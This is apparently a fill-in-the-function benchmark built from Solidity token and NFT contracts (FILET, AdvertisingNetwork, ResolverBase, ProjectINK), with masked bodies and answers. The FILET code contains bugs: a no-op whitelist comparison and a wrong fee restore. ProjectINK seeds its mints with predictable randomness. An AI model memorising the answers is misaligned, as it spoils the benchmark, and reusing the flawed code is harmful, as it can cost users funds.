_lockedTime[recipients[i]] = block.timestamp;
_lockPreSale[recipients[i]] = time * 1 hours;
uint256 amt = amounts[i].mul(10**9);
_lockedAmount[recipients[i]] = amt;
_tokenTransfer(msg.sender, recipients[i], amt, false);
}
}
function setLockPreSaleTime(address _address, uint256 hour) external onlyOwner{
_lockPreSale[_address] = hour * 1 hours;
}
function setAntiDumpEnabled(bool value, uint256 time) external onlyOwner{
_isAntiDumpEnabled = value;
antiDumpTime = time * 1 minutes;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
} | contract FILET is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isWhitelist;
mapping (address => uint256) private _lockedTime;
mapping (address => uint256) private _lockedAmount;
mapping (address => uint256) private _antiBot;
mapping (address => uint256) private _lockPreSale;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'FILET🥩';
string private _symbol = 'FILET🥩';
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 public _charityFee = 5;
uint256 public _burnFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
uint256 private _previousBurnFee = _burnFee;
bool public _isAntiDumpEnabled = false;
uint256 public antiDumpTime;
address payable public _charityWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 1000000000000 * 10**9;
uint256 private _numOfTokensToExchangeForCharity = 5 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_charityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_isAntiDumpEnabled == true && sender != owner() && recipient != owner()){
if(sender == uniswapV2Pair){
uint256 timePassed = block.timestamp - _antiBot[recipient];
require(timePassed > antiDumpTime,'You must wait between trades');
_antiBot[recipient] = block.timestamp;
}
else if(recipient == uniswapV2Pair){
uint256 timePassed = block.timestamp - _antiBot[sender];
require(timePassed > antiDumpTime,'You must wait between trades');
_antiBot[sender] = block.timestamp;
}
else if(sender != uniswapV2Pair && recipient != uniswapV2Pair){
uint256 timePassed1 = block.timestamp - _antiBot[sender];
uint256 timePassed2 = block.timestamp - _antiBot[recipient];
require(timePassed1 > antiDumpTime && timePassed2 > antiDumpTime, 'You Must Wait Some Time Between Transactions');
_antiBot[sender] = block.timestamp;
_antiBot[recipient] = block.timestamp;
}
}
//If sender has purchased during presale, must wait lockPreSale to transfer.
if(_isWhitelist[sender] == true) {
uint256 time_since_purchase = block.timestamp - _lockedTime[sender];
if(time_since_purchase < _lockPreSale[sender]){
require((balanceOf(sender) - amount) >= _lockedAmount[sender], 'You Must Wait Some Time From Original Transaction');
}
else {
_isWhitelist[sender] == false;
}
}
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount);
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
uint256 burnAmt = amount.mul(_burnFee).div(100);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount.sub(burnAmt));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount.sub(burnAmt));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount.sub(burnAmt));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount.sub(burnAmt));
} else {
_transferStandard(sender, recipient, amount.sub(burnAmt));
}
//remove fees to burn tokens
_taxFee = 0;
_charityFee = 0;
_transferStandard(sender, address(0), burnAmt);
_taxFee = _previousTaxFee;
_charityFee = _previousBurnFee;
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
<FILL_FUNCTION>
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
function distTokens(address[] memory recipients, uint256[] memory amounts, uint256 time) external onlyOwner{
require(recipients.length == amounts.length, 'Arrays must have same size');
for(uint i = 0; i< recipients.length; i++){
_isWhitelist[recipients[i]] = true;
_lockedTime[recipients[i]] = block.timestamp;
_lockPreSale[recipients[i]] = time * 1 hours;
uint256 amt = amounts[i].mul(10**9);
_lockedAmount[recipients[i]] = amt;
_tokenTransfer(msg.sender, recipients[i], amt, false);
}
}
function setLockPreSaleTime(address _address, uint256 hour) external onlyOwner{
_lockPreSale[_address] = hour * 1 hours;
}
function setAntiDumpEnabled(bool value, uint256 time) external onlyOwner{
_isAntiDumpEnabled = value;
antiDumpTime = time * 1 minutes;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
} |
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
| function _transferToExcluded(address sender, address recipient, uint256 tAmount) private | function _transferToExcluded(address sender, address recipient, uint256 tAmount) private |
21480 | AdvertisingNetwork | allowance | contract AdvertisingNetwork is ERC20, owned {
using SafeMath for uint256;
string public name = "AdvertisingNetwork";
string public symbol = "ADNET";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
function balanceOf(address _who) public constant returns (uint256) {
return balances[_who];
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {<FILL_FUNCTION_BODY> }
function AdvertisingNetwork() public {
totalSupply = 50000000 * 1 ether;
balances[msg.sender] = totalSupply;
Transfer(0, msg.sender, totalSupply);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function withdrawTokens(uint256 _value) public onlyOwner {
require(balances[this] >= _value);
balances[this] = balances[this].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
Transfer(this, msg.sender, _value);
}
} | contract AdvertisingNetwork is ERC20, owned {
using SafeMath for uint256;
string public name = "AdvertisingNetwork";
string public symbol = "ADNET";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
function balanceOf(address _who) public constant returns (uint256) {
return balances[_who];
}
<FILL_FUNCTION>
function AdvertisingNetwork() public {
totalSupply = 50000000 * 1 ether;
balances[msg.sender] = totalSupply;
Transfer(0, msg.sender, totalSupply);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function withdrawTokens(uint256 _value) public onlyOwner {
require(balances[this] >= _value);
balances[this] = balances[this].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
Transfer(this, msg.sender, _value);
}
} |
return allowed[_owner][_spender];
| function allowance(address _owner, address _spender) public constant returns (uint256 remaining) | function allowance(address _owner, address _spender) public constant returns (uint256 remaining) |
77219 | ResolverBase | bytesToAddress | contract ResolverBase {
bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7;
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == INTERFACE_META_ID;
}
function isAuthorised(bytes32 node) internal view returns(bool);
modifier authorised(bytes32 node) {
require(isAuthorised(node));
_;
}
function bytesToAddress(bytes memory b) internal pure returns(address payable a) {<FILL_FUNCTION_BODY> }
function addressToBytes(address a) internal pure returns(bytes memory b) {
b = new bytes(20);
assembly {
mstore(add(b, 32), mul(a, exp(256, 12)))
}
}
} | contract ResolverBase {
bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7;
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == INTERFACE_META_ID;
}
function isAuthorised(bytes32 node) internal view returns(bool);
modifier authorised(bytes32 node) {
require(isAuthorised(node));
_;
}
<FILL_FUNCTION>
function addressToBytes(address a) internal pure returns(bytes memory b) {
b = new bytes(20);
assembly {
mstore(add(b, 32), mul(a, exp(256, 12)))
}
}
} |
require(b.length == 20);
assembly {
a := div(mload(add(b, 32)), exp(256, 12))
}
| function bytesToAddress(bytes memory b) internal pure returns(address payable a) | function bytesToAddress(bytes memory b) internal pure returns(address payable a) |
35893 | ProjectINK | allInfoFor | contract ProjectINK {
uint256 constant public MAX_NAME_LENGTH = 32;
uint256 constant public MAX_SUPPLY = 1921;
uint256 constant public MINT_COST = 0.05 ether;
struct User {
uint256 balance;
mapping(uint256 => uint256) list;
mapping(address => bool) approved;
mapping(uint256 => uint256) indexOf;
}
struct Token {
address owner;
address approved;
bytes32 seed;
string name;
}
struct Info {
uint256 totalSupply;
mapping(uint256 => Token) list;
mapping(address => User) users;
Metadata metadata;
address owner;
}
Info private info;
mapping(bytes4 => bool) public supportsInterface;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed);
event Rename(address indexed owner, uint256 indexed tokenId, string name);
modifier _onlyOwner() {
require(msg.sender == owner());
_;
}
constructor() {
info.metadata = new Metadata();
info.owner = msg.sender;
supportsInterface[0x01ffc9a7] = true; // ERC-165
supportsInterface[0x80ac58cd] = true; // ERC-721
supportsInterface[0x5b5e139f] = true; // Metadata
supportsInterface[0x780e9d63] = true; // Enumerable
for (uint256 i = 0; i < 10; i++) {
_mint();
}
}
function setOwner(address _owner) external _onlyOwner {
info.owner = _owner;
}
function setMetadata(Metadata _metadata) external _onlyOwner {
info.metadata = _metadata;
}
function ownerWithdraw() external _onlyOwner {
uint256 _balance = address(this).balance;
require(_balance > 0);
payable(msg.sender).transfer(_balance);
}
receive() external payable {
mintMany(msg.value / MINT_COST);
}
function mint() external payable {
mintMany(1);
}
function mintMany(uint256 _tokens) public payable {
require(_tokens > 0);
uint256 _cost = _tokens * MINT_COST;
require(msg.value >= _cost);
for (uint256 i = 0; i < _tokens; i++) {
_mint();
}
if (msg.value > _cost) {
payable(msg.sender).transfer(msg.value - _cost);
}
}
function rename(uint256 _tokenId, string calldata _newName) external {
require(bytes(_newName).length <= MAX_NAME_LENGTH);
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].name = _newName;
emit Rename(msg.sender, _tokenId, _newName);
}
function approve(address _approved, uint256 _tokenId) external {
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].approved = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
info.users[msg.sender].approved[_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02);
}
}
function name() external view returns (string memory) {
return info.metadata.name();
}
function symbol() external view returns (string memory) {
return info.metadata.symbol();
}
function contractURI() external view returns (string memory) {
return info.metadata.contractURI();
}
function baseTokenURI() external view returns (string memory) {
return info.metadata.baseTokenURI();
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return info.metadata.tokenURI(_tokenId);
}
function owner() public view returns (address) {
return info.owner;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return info.users[_owner].balance;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].owner;
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].approved;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return info.users[_owner].approved[_operator];
}
function getSeed(uint256 _tokenId) public view returns (bytes32) {
require(_tokenId < totalSupply());
return info.list[_tokenId].seed;
}
function getName(uint256 _tokenId) public view returns (string memory) {
require(_tokenId < totalSupply());
return info.list[_tokenId].name;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return info.users[_owner].list[_index];
}
function getINK(uint256 _tokenId) public view returns (address tokenOwner, address approved, bytes32 seed, string memory tokenName) {
return (ownerOf(_tokenId), getApproved(_tokenId), getSeed(_tokenId), getName(_tokenId));
}
function getINKs(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names) {
uint256 _length = _tokenIds.length;
owners = new address[](_length);
approveds = new address[](_length);
seeds = new bytes32[](_length);
names = new bytes32[](_length);
for (uint256 i = 0; i < _length; i++) {
string memory _name;
(owners[i], approveds[i], seeds[i], _name) = getINK(_tokenIds[i]);
names[i] = _stringToBytes32(_name);
}
}
function getINKsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) {
require(_limit > 0);
totalINKs = totalSupply();
if (totalINKs > 0) {
totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalINKs % _limit != 0) {
_limit = totalINKs % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalINKs - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(owners, approveds, seeds, names) = getINKs(tokenIds);
}
function getOwnerINKsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) {
require(_limit > 0);
totalINKs = balanceOf(_owner);
if (totalINKs > 0) {
totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalINKs % _limit != 0) {
_limit = totalINKs % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalINKs - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
( , approveds, seeds, names) = getINKs(tokenIds);
}
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) {<FILL_FUNCTION_BODY> }
function _mint() internal {
require(totalSupply() < MAX_SUPPLY);
uint256 _tokenId = info.totalSupply++;
Token storage _newToken = info.list[_tokenId];
_newToken.owner = msg.sender;
bytes32 _seed = keccak256(abi.encodePacked(_tokenId, msg.sender, blockhash(block.number - 1), gasleft()));
_newToken.seed = _seed;
uint256 _index = info.users[msg.sender].balance++;
info.users[msg.sender].indexOf[_tokenId] = _index + 1;
info.users[msg.sender].list[_index] = _tokenId;
emit Transfer(address(0x0), msg.sender, _tokenId);
emit Mint(msg.sender, _tokenId, _seed);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
address _owner = ownerOf(_tokenId);
address _approved = getApproved(_tokenId);
require(_from == _owner);
require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender));
info.list[_tokenId].owner = _to;
if (_approved != address(0x0)) {
info.list[_tokenId].approved = address(0x0);
emit Approval(address(0x0), address(0x0), _tokenId);
}
uint256 _index = info.users[_from].indexOf[_tokenId] - 1;
uint256 _moved = info.users[_from].list[info.users[_from].balance - 1];
info.users[_from].list[_index] = _moved;
info.users[_from].indexOf[_moved] = _index + 1;
info.users[_from].balance--;
delete info.users[_from].indexOf[_tokenId];
uint256 _newIndex = info.users[_to].balance++;
info.users[_to].indexOf[_tokenId] = _newIndex + 1;
info.users[_to].list[_newIndex] = _tokenId;
emit Transfer(_from, _to, _tokenId);
}
function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) {
if (bytes(_in).length == 0) {
return 0x0;
}
assembly {
out := mload(add(_in, 32))
}
}
} | contract ProjectINK {
uint256 constant public MAX_NAME_LENGTH = 32;
uint256 constant public MAX_SUPPLY = 1921;
uint256 constant public MINT_COST = 0.05 ether;
struct User {
uint256 balance;
mapping(uint256 => uint256) list;
mapping(address => bool) approved;
mapping(uint256 => uint256) indexOf;
}
struct Token {
address owner;
address approved;
bytes32 seed;
string name;
}
struct Info {
uint256 totalSupply;
mapping(uint256 => Token) list;
mapping(address => User) users;
Metadata metadata;
address owner;
}
Info private info;
mapping(bytes4 => bool) public supportsInterface;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed);
event Rename(address indexed owner, uint256 indexed tokenId, string name);
modifier _onlyOwner() {
require(msg.sender == owner());
_;
}
constructor() {
info.metadata = new Metadata();
info.owner = msg.sender;
supportsInterface[0x01ffc9a7] = true; // ERC-165
supportsInterface[0x80ac58cd] = true; // ERC-721
supportsInterface[0x5b5e139f] = true; // Metadata
supportsInterface[0x780e9d63] = true; // Enumerable
for (uint256 i = 0; i < 10; i++) {
_mint();
}
}
function setOwner(address _owner) external _onlyOwner {
info.owner = _owner;
}
function setMetadata(Metadata _metadata) external _onlyOwner {
info.metadata = _metadata;
}
function ownerWithdraw() external _onlyOwner {
